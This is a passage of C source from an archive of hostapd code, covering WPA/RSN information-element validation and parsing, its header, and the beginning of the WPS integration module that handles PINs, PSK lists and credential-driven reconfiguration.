WPA_KEY_MGMT_IEEE8021X_SUITE_B; #ifdef CONFIG_FILS #ifdef CONFIG_IEEE80211R_AP else if (key_mgmt & WPA_KEY_MGMT_FT_FILS_SHA384) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_FILS_SHA384; else if (data.key_mgmt & WPA_KEY_MGMT_FT_FILS_SHA256) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_FILS_SHA256; #endif /* CONFIG_IEEE80211R_AP */ else if (key_mgmt & WPA_KEY_MGMT_FILS_SHA384) sm->wpa_key_mgmt = WPA_KEY_MGMT_FILS_SHA384; else if (key_mgmt & WPA_KEY_MGMT_FILS_SHA256) sm->wpa_key_mgmt = WPA_KEY_MGMT_FILS_SHA256; #endif /* CONFIG_FILS */ #ifdef CONFIG_IEEE80211R_AP #ifdef CONFIG_SHA384 else if (key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X_SHA384) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_IEEE8021X_SHA384; #endif /* CONFIG_SHA384 */ else if (key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_IEEE8021X; else if (key_mgmt & WPA_KEY_MGMT_FT_PSK) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_PSK; #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_IEEE80211W else if (key_mgmt & WPA_KEY_MGMT_IEEE8021X_SHA256) sm->wpa_key_mgmt = WPA_KEY_MGMT_IEEE8021X_SHA256; else if (key_mgmt & WPA_KEY_MGMT_PSK_SHA256) sm->wpa_key_mgmt = WPA_KEY_MGMT_PSK_SHA256; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_SAE else if (key_mgmt & WPA_KEY_MGMT_SAE) sm->wpa_key_mgmt = WPA_KEY_MGMT_SAE; else if (key_mgmt & WPA_KEY_MGMT_FT_SAE) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_SAE; #endif /* CONFIG_SAE */ else if (key_mgmt & WPA_KEY_MGMT_IEEE8021X) sm->wpa_key_mgmt = WPA_KEY_MGMT_IEEE8021X; #ifdef CONFIG_OWE else if (key_mgmt & WPA_KEY_MGMT_OWE) sm->wpa_key_mgmt = WPA_KEY_MGMT_OWE; #endif /* CONFIG_OWE */ #ifdef CONFIG_DPP else if (key_mgmt & WPA_KEY_MGMT_DPP) sm->wpa_key_mgmt = WPA_KEY_MGMT_DPP; #endif /* CONFIG_DPP */ #ifdef CONFIG_HS20 else if (key_mgmt & WPA_KEY_MGMT_OSEN) sm->wpa_key_mgmt = WPA_KEY_MGMT_OSEN; #endif /* CONFIG_HS20 */ else sm->wpa_key_mgmt = WPA_KEY_MGMT_PSK; if (version == WPA_PROTO_RSN) ciphers = data.pairwise_cipher & wpa_auth->conf.rsn_pairwise; else ciphers = data.pairwise_cipher & wpa_auth->conf.wpa_pairwise; if (!ciphers) { wpa_printf(MSG_DEBUG, "Invalid %s pairwise cipher (0x%x) " "from " MACSTR, version == WPA_PROTO_RSN ? "RSN" : "WPA", data.pairwise_cipher, MAC2STR(sm->addr)); return WPA_INVALID_PAIRWISE; } #ifdef CONFIG_IEEE80211W if (wpa_auth->conf.ieee80211w == MGMT_FRAME_PROTECTION_REQUIRED) { if (!(data.capabilities & WPA_CAPABILITY_MFPC)) { wpa_printf(MSG_DEBUG, "Management frame protection " "required, but client did not enable it"); return WPA_MGMT_FRAME_PROTECTION_VIOLATION; } if (data.mgmt_group_cipher != wpa_auth->conf.group_mgmt_cipher) { wpa_printf(MSG_DEBUG, "Unsupported management group " "cipher %d", data.mgmt_group_cipher); return WPA_INVALID_MGMT_GROUP_CIPHER; } } #ifdef CONFIG_SAE if (wpa_auth->conf.ieee80211w == MGMT_FRAME_PROTECTION_OPTIONAL && wpa_key_mgmt_sae(sm->wpa_key_mgmt) && !(data.capabilities & WPA_CAPABILITY_MFPC)) { wpa_printf(MSG_DEBUG, "Management frame protection required with SAE, but client did not enable it"); return WPA_MGMT_FRAME_PROTECTION_VIOLATION; } #endif /* CONFIG_SAE */ if (wpa_auth->conf.ieee80211w == NO_MGMT_FRAME_PROTECTION || !(data.capabilities & WPA_CAPABILITY_MFPC)) sm->mgmt_frame_prot = 0; else sm->mgmt_frame_prot = 1; if (sm->mgmt_frame_prot && (ciphers & WPA_CIPHER_TKIP)) { wpa_printf(MSG_DEBUG, "Management frame protection cannot use TKIP"); return WPA_MGMT_FRAME_PROTECTION_VIOLATION; } #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { if (mdie == NULL || mdie_len < MOBILITY_DOMAIN_ID_LEN + 1) { wpa_printf(MSG_DEBUG, "RSN: Trying to use FT, but " "MDIE not included"); return WPA_INVALID_MDIE; } if (os_memcmp(mdie, wpa_auth->conf.mobility_domain, MOBILITY_DOMAIN_ID_LEN) != 0) { wpa_hexdump(MSG_DEBUG, "RSN: Attempted to use unknown " "MDIE", mdie, MOBILITY_DOMAIN_ID_LEN); return WPA_INVALID_MDIE; } } else if (mdie != NULL) { wpa_printf(MSG_DEBUG, "RSN: Trying to use non-FT AKM suite, but MDIE included"); return WPA_INVALID_AKMP; } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_OWE if (sm->wpa_key_mgmt == WPA_KEY_MGMT_OWE && !owe_dh) { wpa_printf(MSG_DEBUG, "OWE: No Diffie-Hellman Parameter element"); return WPA_INVALID_AKMP; } if (sm->wpa_key_mgmt != WPA_KEY_MGMT_OWE && owe_dh) { wpa_printf(MSG_DEBUG, "OWE: Unexpected Diffie-Hellman Parameter element with non-OWE AKM"); return WPA_INVALID_AKMP; } #endif /* CONFIG_OWE */ sm->pairwise = wpa_pick_pairwise_cipher(ciphers, 0); if (sm->pairwise < 0) return WPA_INVALID_PAIRWISE; /* TODO: clear WPA/WPA2 state if STA changes from one to another */ if (wpa_ie[0] == WLAN_EID_RSN) sm->wpa = WPA_VERSION_WPA2; else sm->wpa = WPA_VERSION_WPA; sm->pmksa = NULL; for (i = 0; i < data.num_pmkid; i++) { wpa_hexdump(MSG_DEBUG, "RSN IE: STA PMKID", &data.pmkid[i * PMKID_LEN], PMKID_LEN); sm->pmksa = pmksa_cache_auth_get(wpa_auth->pmksa, sm->addr, &data.pmkid[i * PMKID_LEN]); if (sm->pmksa) { pmkid = sm->pmksa->pmkid; break; } } for (i = 0; sm->pmksa == NULL && wpa_auth->conf.okc && i < data.num_pmkid; i++) { struct wpa_auth_okc_iter_data idata; idata.pmksa = NULL; idata.aa = wpa_auth->addr; idata.spa = sm->addr; idata.pmkid = &data.pmkid[i * PMKID_LEN]; wpa_auth_for_each_auth(wpa_auth, wpa_auth_okc_iter, &idata); if (idata.pmksa) { wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, "OKC match for PMKID"); sm->pmksa = pmksa_cache_add_okc(wpa_auth->pmksa, idata.pmksa, wpa_auth->addr, idata.pmkid); pmkid = idata.pmkid; break; } } if (sm->pmksa && pmkid) { struct vlan_description *vlan; vlan = sm->pmksa->vlan_desc; wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, "PMKID found from PMKSA cache eap_type=%d vlan=%d%s", sm->pmksa->eap_type_authsrv, vlan ? vlan->untagged : 0, (vlan && vlan->tagged[0]) ? "+" : ""); os_memcpy(wpa_auth->dot11RSNAPMKIDUsed, pmkid, PMKID_LEN); } #ifdef CONFIG_SAE if (sm->wpa_key_mgmt == WPA_KEY_MGMT_SAE && data.num_pmkid && !sm->pmksa) { wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, "No PMKSA cache entry found for SAE"); return WPA_INVALID_PMKID; } #endif /* CONFIG_SAE */ #ifdef CONFIG_DPP if (sm->wpa_key_mgmt == WPA_KEY_MGMT_DPP && !sm->pmksa) { wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, "No PMKSA cache entry found for DPP"); return WPA_INVALID_PMKID; } #endif /* CONFIG_DPP */ if (sm->wpa_ie == NULL || sm->wpa_ie_len < wpa_ie_len) { os_free(sm->wpa_ie); sm->wpa_ie = os_malloc(wpa_ie_len); if (sm->wpa_ie == NULL) return WPA_ALLOC_FAIL; } os_memcpy(sm->wpa_ie, wpa_ie, wpa_ie_len); sm->wpa_ie_len = wpa_ie_len; return WPA_IE_OK; } #ifdef CONFIG_HS20 int wpa_validate_osen(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, const u8 *osen_ie, size_t osen_ie_len) { if (wpa_auth == NULL || sm == NULL) return -1; /* TODO: parse OSEN element */ sm->wpa_key_mgmt = WPA_KEY_MGMT_OSEN; sm->mgmt_frame_prot = 1; sm->pairwise = WPA_CIPHER_CCMP; sm->wpa = WPA_VERSION_WPA2; if (sm->wpa_ie == NULL || sm->wpa_ie_len < osen_ie_len) { os_free(sm->wpa_ie); sm->wpa_ie = os_malloc(osen_ie_len); if (sm->wpa_ie == NULL) return -1; } os_memcpy(sm->wpa_ie, osen_ie, osen_ie_len); sm->wpa_ie_len = osen_ie_len; return 0; } #endif /* CONFIG_HS20 */ /** * wpa_parse_generic - Parse EAPOL-Key Key Data Generic IEs * @pos: Pointer to the IE header * @end: Pointer to the end of the Key Data buffer * @ie: Pointer to parsed IE data * Returns: 0 on success, 1 if end mark is found, -1 on failure */ static int wpa_parse_generic(const u8 *pos, const u8 *end, struct wpa_eapol_ie_parse *ie) { if (pos[1] == 0) return 1; if (pos[1] >= 6 && RSN_SELECTOR_GET(pos + 2) == WPA_OUI_TYPE && pos[2 + WPA_SELECTOR_LEN] == 1 && pos[2 + WPA_SELECTOR_LEN + 1] == 0) { ie->wpa_ie = pos; ie->wpa_ie_len = pos[1] + 2; return 0; } if (pos[1] >= 4 && WPA_GET_BE32(pos + 2) == OSEN_IE_VENDOR_TYPE) { ie->osen = pos; ie->osen_len = pos[1] + 2; return 0; } if (1 + RSN_SELECTOR_LEN < end - pos && pos[1] >= RSN_SELECTOR_LEN + PMKID_LEN && RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_PMKID) { ie->pmkid = pos + 2 + RSN_SELECTOR_LEN; return 0; } if (pos[1] > RSN_SELECTOR_LEN + 2 && RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_GROUPKEY) { ie->gtk = pos + 2 + RSN_SELECTOR_LEN; ie->gtk_len = pos[1] - RSN_SELECTOR_LEN; return 0; } if (pos[1] > RSN_SELECTOR_LEN + 2 && RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_MAC_ADDR) { ie->mac_addr = pos + 2 + RSN_SELECTOR_LEN; ie->mac_addr_len = pos[1] - RSN_SELECTOR_LEN; return 0; } #ifdef CONFIG_IEEE80211W if (pos[1] > RSN_SELECTOR_LEN + 2 && RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_IGTK) { ie->igtk = pos + 2 + RSN_SELECTOR_LEN; ie->igtk_len = pos[1] - RSN_SELECTOR_LEN; return 0; } #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_P2P if (pos[1] >= RSN_SELECTOR_LEN + 1 && RSN_SELECTOR_GET(pos + 2) == WFA_KEY_DATA_IP_ADDR_REQ) { ie->ip_addr_req = pos + 2 + RSN_SELECTOR_LEN; wpa_hexdump(MSG_DEBUG, "WPA: IP Address Request in EAPOL-Key", ie->ip_addr_req, pos[1] - RSN_SELECTOR_LEN); return 0; } if (pos[1] >= RSN_SELECTOR_LEN + 3 * 4 && RSN_SELECTOR_GET(pos + 2) == WFA_KEY_DATA_IP_ADDR_ALLOC) { ie->ip_addr_alloc = pos + 2 + RSN_SELECTOR_LEN; wpa_hexdump(MSG_DEBUG, "WPA: IP Address Allocation in EAPOL-Key", ie->ip_addr_alloc, pos[1] - RSN_SELECTOR_LEN); return 0; } #endif /* CONFIG_P2P */ return 0; } /** * wpa_parse_kde_ies - Parse EAPOL-Key Key Data IEs * @buf: Pointer to the Key Data buffer * @len: Key Data Length * @ie: Pointer to parsed IE data * Returns: 0 on success, -1 on failure */ int wpa_parse_kde_ies(const u8 *buf, size_t len, struct wpa_eapol_ie_parse *ie) { const u8 *pos, *end; int ret = 0; os_memset(ie, 0, sizeof(*ie)); for (pos = buf, end = pos + len; end - pos > 1; pos += 2 + pos[1]) { if (pos[0] == 0xdd && ((pos == buf + len - 1) || pos[1] == 0)) { /* Ignore padding */ break; } if (2 + pos[1] > end - pos) { wpa_printf(MSG_DEBUG, "WPA: EAPOL-Key Key Data " "underflow (ie=%d len=%d pos=%d)", pos[0], pos[1], (int) (pos - buf)); wpa_hexdump_key(MSG_DEBUG, "WPA: Key Data", buf, len); ret = -1; break; } if (*pos == WLAN_EID_RSN) { ie->rsn_ie = pos; ie->rsn_ie_len = pos[1] + 2; #ifdef CONFIG_IEEE80211R_AP } else if (*pos == WLAN_EID_MOBILITY_DOMAIN) { ie->mdie = pos; ie->mdie_len = pos[1] + 2; } else if (*pos == WLAN_EID_FAST_BSS_TRANSITION) { ie->ftie = pos; ie->ftie_len = pos[1] + 2; #endif /* CONFIG_IEEE80211R_AP */ } else if (*pos == WLAN_EID_VENDOR_SPECIFIC) { ret = wpa_parse_generic(pos, end, ie); if (ret < 0) break; if (ret > 0) { ret = 0; break; } } else { wpa_hexdump(MSG_DEBUG, "WPA: Unrecognized EAPOL-Key " "Key Data IE", pos, 2 + pos[1]); } } return ret; } int wpa_auth_uses_mfp(struct wpa_state_machine *sm) { return sm ? sm->mgmt_frame_prot : 0; } #ifdef CONFIG_OWE u8 * wpa_auth_write_assoc_resp_owe(struct wpa_state_machine *sm, u8 *pos, size_t max_len, const u8 *req_ies, size_t req_ies_len) { int res; struct wpa_auth_config *conf = &sm->wpa_auth->conf; #ifdef CONFIG_TESTING_OPTIONS if (conf->own_ie_override_len) { if (max_len < conf->own_ie_override_len) return NULL; wpa_hexdump(MSG_DEBUG, "WPA: Forced own IE(s) for testing", conf->own_ie_override, conf->own_ie_override_len); os_memcpy(pos, conf->own_ie_override, conf->own_ie_override_len); return pos + conf->own_ie_override_len; } #endif /* CONFIG_TESTING_OPTIONS */ res = wpa_write_rsn_ie(&sm->wpa_auth->conf, pos, max_len, sm->pmksa ? sm->pmksa->pmkid : NULL); if (res < 0) return pos; return pos + res; } #endif /* CONFIG_OWE */ wpa_sycophant-master/src/ap/wpa_auth_ie.h000066400000000000000000000021101377436615100210620ustar00rootroot00000000000000/* * hostapd - WPA/RSN IE and KDE definitions * Copyright (c) 2004-2007, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef WPA_AUTH_IE_H #define WPA_AUTH_IE_H struct wpa_eapol_ie_parse { const u8 *wpa_ie; size_t wpa_ie_len; const u8 *rsn_ie; size_t rsn_ie_len; const u8 *pmkid; const u8 *gtk; size_t gtk_len; const u8 *mac_addr; size_t mac_addr_len; #ifdef CONFIG_IEEE80211W const u8 *igtk; size_t igtk_len; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211R_AP const u8 *mdie; size_t mdie_len; const u8 *ftie; size_t ftie_len; #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_P2P const u8 *ip_addr_req; const u8 *ip_addr_alloc; #endif /* CONFIG_P2P */ const u8 *osen; size_t osen_len; }; int wpa_parse_kde_ies(const u8 *buf, size_t len, struct wpa_eapol_ie_parse *ie); u8 * wpa_add_kde(u8 *pos, u32 kde, const u8 *data, size_t data_len, const u8 *data2, size_t data2_len); int wpa_auth_gen_wpa_ie(struct wpa_authenticator *wpa_auth); #endif /* WPA_AUTH_IE_H */ wpa_sycophant-master/src/ap/wps_hostapd.c000066400000000000000000001511621377436615100211370ustar00rootroot00000000000000/* * hostapd / WPS integration * Copyright (c) 2008-2016, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "utils/uuid.h" #include "common/wpa_ctrl.h" #include "common/ieee802_11_defs.h" #include "common/ieee802_11_common.h" #include "eapol_auth/eapol_auth_sm.h" #include "eapol_auth/eapol_auth_sm_i.h" #include "wps/wps.h" #include "wps/wps_defs.h" #include "wps/wps_dev_attr.h" #include "wps/wps_attr_parse.h" #include "hostapd.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "beacon.h" #include "sta_info.h" #include "wps_hostapd.h" #ifdef CONFIG_WPS_UPNP #include "wps/wps_upnp.h" static int hostapd_wps_upnp_init(struct hostapd_data *hapd, struct wps_context *wps); static void hostapd_wps_upnp_deinit(struct hostapd_data *hapd); #endif /* CONFIG_WPS_UPNP */ static int hostapd_wps_probe_req_rx(void *ctx, const u8 *addr, const u8 *da, const u8 *bssid, const u8 *ie, size_t ie_len, int ssi_signal); static void hostapd_wps_ap_pin_timeout(void *eloop_data, void *user_ctx); static void hostapd_wps_nfc_clear(struct wps_context *wps); struct wps_for_each_data { int (*func)(struct hostapd_data *h, void *ctx); void *ctx; struct hostapd_data *calling_hapd; }; static int wps_for_each(struct hostapd_iface *iface, void *ctx) { struct wps_for_each_data *data = ctx; size_t j; if (iface == NULL) return 0; for (j = 0; j < iface->num_bss; j++) { struct hostapd_data *hapd = iface->bss[j]; int ret; if (hapd != data->calling_hapd && (hapd->conf->wps_independent || data->calling_hapd->conf->wps_independent)) continue; ret = data->func(hapd, data->ctx); if (ret) return ret; } return 0; } static int hostapd_wps_for_each(struct hostapd_data *hapd, int (*func)(struct hostapd_data *h, void *ctx), void *ctx) { struct hostapd_iface *iface = hapd->iface; struct wps_for_each_data data; data.func = func; data.ctx = ctx; data.calling_hapd = hapd; if (iface->interfaces == NULL || iface->interfaces->for_each_interface == NULL) return wps_for_each(iface, &data); return iface->interfaces->for_each_interface(iface->interfaces, wps_for_each, &data); } static int hostapd_wps_new_psk_cb(void *ctx, const u8 *mac_addr, const u8 *p2p_dev_addr, const u8 *psk, size_t psk_len) { struct hostapd_data *hapd = ctx; struct hostapd_wpa_psk *p; struct hostapd_ssid *ssid = &hapd->conf->ssid; if (is_zero_ether_addr(p2p_dev_addr)) { wpa_printf(MSG_DEBUG, "Received new WPA/WPA2-PSK from WPS for STA " MACSTR, MAC2STR(mac_addr)); } else { wpa_printf(MSG_DEBUG, "Received new WPA/WPA2-PSK from WPS for STA " MACSTR " P2P Device Addr " MACSTR, MAC2STR(mac_addr), MAC2STR(p2p_dev_addr)); } wpa_hexdump_key(MSG_DEBUG, "Per-device PSK", psk, psk_len); if (psk_len != PMK_LEN) { wpa_printf(MSG_DEBUG, "Unexpected PSK length %lu", (unsigned long) psk_len); return -1; } /* Add the new PSK to runtime PSK list */ p = os_zalloc(sizeof(*p)); if (p == NULL) return -1; os_memcpy(p->addr, mac_addr, ETH_ALEN); os_memcpy(p->p2p_dev_addr, p2p_dev_addr, ETH_ALEN); os_memcpy(p->psk, psk, PMK_LEN); if (hapd->new_psk_cb) { hapd->new_psk_cb(hapd->new_psk_cb_ctx, mac_addr, p2p_dev_addr, psk, psk_len); } p->next = ssid->wpa_psk; ssid->wpa_psk = p; if (ssid->wpa_psk_file) { FILE *f; char hex[PMK_LEN * 2 + 1]; /* Add the new PSK to PSK list file */ f = fopen(ssid->wpa_psk_file, "a"); if (f == NULL) { wpa_printf(MSG_DEBUG, "Failed to add the PSK to " "'%s'", ssid->wpa_psk_file); return -1; } wpa_snprintf_hex(hex, sizeof(hex), psk, psk_len); fprintf(f, MACSTR " %s\n", MAC2STR(mac_addr), hex); fclose(f); } return 0; } static int hostapd_wps_set_ie_cb(void *ctx, struct wpabuf *beacon_ie, struct wpabuf *probe_resp_ie) { struct hostapd_data *hapd = ctx; wpabuf_free(hapd->wps_beacon_ie); hapd->wps_beacon_ie = beacon_ie; wpabuf_free(hapd->wps_probe_resp_ie); hapd->wps_probe_resp_ie = probe_resp_ie; if (hapd->beacon_set_done) ieee802_11_set_beacon(hapd); return hostapd_set_ap_wps_ie(hapd); } static void hostapd_wps_pin_needed_cb(void *ctx, const u8 *uuid_e, const struct wps_device_data *dev) { struct hostapd_data *hapd = ctx; char uuid[40], txt[400]; int len; char devtype[WPS_DEV_TYPE_BUFSIZE]; if (uuid_bin2str(uuid_e, uuid, sizeof(uuid))) return; wpa_printf(MSG_DEBUG, "WPS: PIN needed for E-UUID %s", uuid); len = os_snprintf(txt, sizeof(txt), WPS_EVENT_PIN_NEEDED "%s " MACSTR " [%s|%s|%s|%s|%s|%s]", uuid, MAC2STR(dev->mac_addr), dev->device_name, dev->manufacturer, dev->model_name, dev->model_number, dev->serial_number, wps_dev_type_bin2str(dev->pri_dev_type, devtype, sizeof(devtype))); if (!os_snprintf_error(sizeof(txt), len)) wpa_msg(hapd->msg_ctx, MSG_INFO, "%s", txt); if (hapd->conf->wps_pin_requests) { FILE *f; struct os_time t; f = fopen(hapd->conf->wps_pin_requests, "a"); if (f == NULL) return; os_get_time(&t); fprintf(f, "%ld\t%s\t" MACSTR "\t%s\t%s\t%s\t%s\t%s" "\t%s\n", t.sec, uuid, MAC2STR(dev->mac_addr), dev->device_name, dev->manufacturer, dev->model_name, dev->model_number, dev->serial_number, wps_dev_type_bin2str(dev->pri_dev_type, devtype, sizeof(devtype))); fclose(f); } } struct wps_stop_reg_data { struct hostapd_data *current_hapd; const u8 *uuid_e; const u8 *dev_pw; size_t dev_pw_len; }; static int wps_stop_registrar(struct hostapd_data *hapd, void *ctx) { struct wps_stop_reg_data *data = ctx; if (hapd != data->current_hapd && hapd->wps != NULL) wps_registrar_complete(hapd->wps->registrar, data->uuid_e, data->dev_pw, data->dev_pw_len); return 0; } static void hostapd_wps_reg_success_cb(void *ctx, const u8 *mac_addr, const u8 *uuid_e, const u8 *dev_pw, size_t dev_pw_len) { struct hostapd_data *hapd = ctx; char uuid[40]; struct wps_stop_reg_data data; if (uuid_bin2str(uuid_e, uuid, sizeof(uuid))) return; wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_REG_SUCCESS MACSTR " %s", MAC2STR(mac_addr), uuid); if (hapd->wps_reg_success_cb) hapd->wps_reg_success_cb(hapd->wps_reg_success_cb_ctx, mac_addr, uuid_e); data.current_hapd = hapd; data.uuid_e = uuid_e; data.dev_pw = dev_pw; data.dev_pw_len = dev_pw_len; hostapd_wps_for_each(hapd, wps_stop_registrar, &data); } static void hostapd_wps_enrollee_seen_cb(void *ctx, const u8 *addr, const u8 *uuid_e, const u8 *pri_dev_type, u16 config_methods, u16 dev_password_id, u8 request_type, const char *dev_name) { struct hostapd_data *hapd = ctx; char uuid[40]; char devtype[WPS_DEV_TYPE_BUFSIZE]; if (uuid_bin2str(uuid_e, uuid, sizeof(uuid))) return; if (dev_name == NULL) dev_name = ""; wpa_msg_ctrl(hapd->msg_ctx, MSG_INFO, WPS_EVENT_ENROLLEE_SEEN MACSTR " %s %s 0x%x %u %u [%s]", MAC2STR(addr), uuid, wps_dev_type_bin2str(pri_dev_type, devtype, sizeof(devtype)), config_methods, dev_password_id, request_type, dev_name); } static void wps_reload_config(void *eloop_data, void *user_ctx) { struct hostapd_iface *iface = eloop_data; wpa_printf(MSG_DEBUG, "WPS: Reload configuration data"); if (iface->interfaces == NULL || iface->interfaces->reload_config(iface) < 0) { wpa_printf(MSG_WARNING, "WPS: Failed to reload the updated " "configuration"); } } void hostapd_wps_eap_completed(struct hostapd_data *hapd) { /* * Reduce race condition of the station trying to reconnect immediately * after AP reconfiguration through WPS by rescheduling the reload * timeout to happen after EAP completion rather than the originally * scheduled 100 ms after new configuration became known. */ if (eloop_deplete_timeout(0, 0, wps_reload_config, hapd->iface, NULL) == 1) wpa_printf(MSG_DEBUG, "WPS: Reschedule immediate configuration reload"); } static void hapd_new_ap_event(struct hostapd_data *hapd, const u8 *attr, size_t attr_len) { size_t blen = attr_len * 2 + 1; char *buf = os_malloc(blen); if (buf) { wpa_snprintf_hex(buf, blen, attr, attr_len); wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_NEW_AP_SETTINGS "%s", buf); os_free(buf); } } static int hapd_wps_reconfig_in_memory(struct hostapd_data *hapd, const struct wps_credential *cred) { struct hostapd_bss_config *bss = hapd->conf; wpa_printf(MSG_DEBUG, "WPS: Updating in-memory configuration"); bss->wps_state = 2; if (cred->ssid_len <= SSID_MAX_LEN) { os_memcpy(bss->ssid.ssid, cred->ssid, cred->ssid_len); bss->ssid.ssid_len = cred->ssid_len; bss->ssid.ssid_set = 1; } if ((cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA2PSK)) && (cred->auth_type & (WPS_AUTH_WPA | WPS_AUTH_WPAPSK))) bss->wpa = 3; else if (cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA2PSK)) bss->wpa = 2; else if (cred->auth_type & (WPS_AUTH_WPA | WPS_AUTH_WPAPSK)) bss->wpa = 1; else bss->wpa = 0; if (bss->wpa) { if (cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA)) bss->wpa_key_mgmt = WPA_KEY_MGMT_IEEE8021X; if (cred->auth_type & (WPS_AUTH_WPA2PSK | WPS_AUTH_WPAPSK)) bss->wpa_key_mgmt = WPA_KEY_MGMT_PSK; bss->wpa_pairwise = 0; if (cred->encr_type & WPS_ENCR_AES) { if (hapd->iconf->hw_mode == HOSTAPD_MODE_IEEE80211AD) bss->wpa_pairwise |= WPA_CIPHER_GCMP; else bss->wpa_pairwise |= WPA_CIPHER_CCMP; } if (cred->encr_type & WPS_ENCR_TKIP) bss->wpa_pairwise |= WPA_CIPHER_TKIP; bss->rsn_pairwise = bss->wpa_pairwise; bss->wpa_group = wpa_select_ap_group_cipher(bss->wpa, bss->wpa_pairwise, bss->rsn_pairwise); if (cred->key_len >= 8 && cred->key_len < 64) { os_free(bss->ssid.wpa_passphrase); bss->ssid.wpa_passphrase = os_zalloc(cred->key_len + 1); if (bss->ssid.wpa_passphrase) os_memcpy(bss->ssid.wpa_passphrase, cred->key, cred->key_len); hostapd_config_clear_wpa_psk(&bss->ssid.wpa_psk); } else if (cred->key_len == 64) { hostapd_config_clear_wpa_psk(&bss->ssid.wpa_psk); bss->ssid.wpa_psk = os_zalloc(sizeof(struct hostapd_wpa_psk)); if (bss->ssid.wpa_psk && hexstr2bin((const char *) cred->key, bss->ssid.wpa_psk->psk, PMK_LEN) == 0) { bss->ssid.wpa_psk->group = 1; os_free(bss->ssid.wpa_passphrase); bss->ssid.wpa_passphrase = NULL; } } bss->auth_algs = 1; } else { /* * WPS 2.0 does not allow WEP to be configured, so no need to * process that option here either. */ bss->auth_algs = 1; } /* Schedule configuration reload after short period of time to allow * EAP-WSC to be finished. */ eloop_register_timeout(0, 100000, wps_reload_config, hapd->iface, NULL); return 0; } static int hapd_wps_cred_cb(struct hostapd_data *hapd, void *ctx) { const struct wps_credential *cred = ctx; FILE *oconf, *nconf; size_t len, i; char *tmp_fname; char buf[1024]; int multi_bss; int wpa; if (hapd->wps == NULL) return 0; wpa_hexdump_key(MSG_DEBUG, "WPS: Received Credential attribute", cred->cred_attr, cred->cred_attr_len); wpa_printf(MSG_DEBUG, "WPS: Received new AP Settings"); wpa_hexdump_ascii(MSG_DEBUG, "WPS: SSID", cred->ssid, cred->ssid_len); wpa_printf(MSG_DEBUG, "WPS: Authentication Type 0x%x", cred->auth_type); wpa_printf(MSG_DEBUG, "WPS: Encryption Type 0x%x", cred->encr_type); wpa_printf(MSG_DEBUG, "WPS: Network Key Index %d", cred->key_idx); wpa_hexdump_key(MSG_DEBUG, "WPS: Network Key", cred->key, cred->key_len); wpa_printf(MSG_DEBUG, "WPS: MAC Address " MACSTR, MAC2STR(cred->mac_addr)); if ((hapd->conf->wps_cred_processing == 1 || hapd->conf->wps_cred_processing == 2) && cred->cred_attr) { hapd_new_ap_event(hapd, cred->cred_attr, cred->cred_attr_len); } else if (hapd->conf->wps_cred_processing == 1 || hapd->conf->wps_cred_processing == 2) { struct wpabuf *attr; attr = wpabuf_alloc(200); if (attr && wps_build_credential_wrap(attr, cred) == 0) hapd_new_ap_event(hapd, wpabuf_head_u8(attr), wpabuf_len(attr)); wpabuf_free(attr); } else wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_NEW_AP_SETTINGS); if (hapd->conf->wps_cred_processing == 1) return 0; os_memcpy(hapd->wps->ssid, cred->ssid, cred->ssid_len); hapd->wps->ssid_len = cred->ssid_len; hapd->wps->encr_types = cred->encr_type; hapd->wps->encr_types_rsn = cred->encr_type; hapd->wps->encr_types_wpa = cred->encr_type; hapd->wps->auth_types = cred->auth_type; hapd->wps->ap_encr_type = cred->encr_type; hapd->wps->ap_auth_type = cred->auth_type; if (cred->key_len == 0) { os_free(hapd->wps->network_key); hapd->wps->network_key = NULL; hapd->wps->network_key_len = 0; } else if ((cred->auth_type & (WPS_AUTH_WPA2PSK | WPS_AUTH_WPAPSK)) && (cred->key_len < 8 || cred->key_len > 2 * PMK_LEN)) { wpa_printf(MSG_INFO, "WPS: Invalid key length %lu for WPA/WPA2", (unsigned long) cred->key_len); return -1; } else { if (hapd->wps->network_key == NULL || hapd->wps->network_key_len < cred->key_len) { hapd->wps->network_key_len = 0; os_free(hapd->wps->network_key); hapd->wps->network_key = os_malloc(cred->key_len); if (hapd->wps->network_key == NULL) return -1; } hapd->wps->network_key_len = cred->key_len; os_memcpy(hapd->wps->network_key, cred->key, cred->key_len); } hapd->wps->wps_state = WPS_STATE_CONFIGURED; if (hapd->iface->config_fname == NULL) return hapd_wps_reconfig_in_memory(hapd, cred); len = os_strlen(hapd->iface->config_fname) + 5; tmp_fname = os_malloc(len); if (tmp_fname == NULL) return -1; os_snprintf(tmp_fname, len, "%s-new", 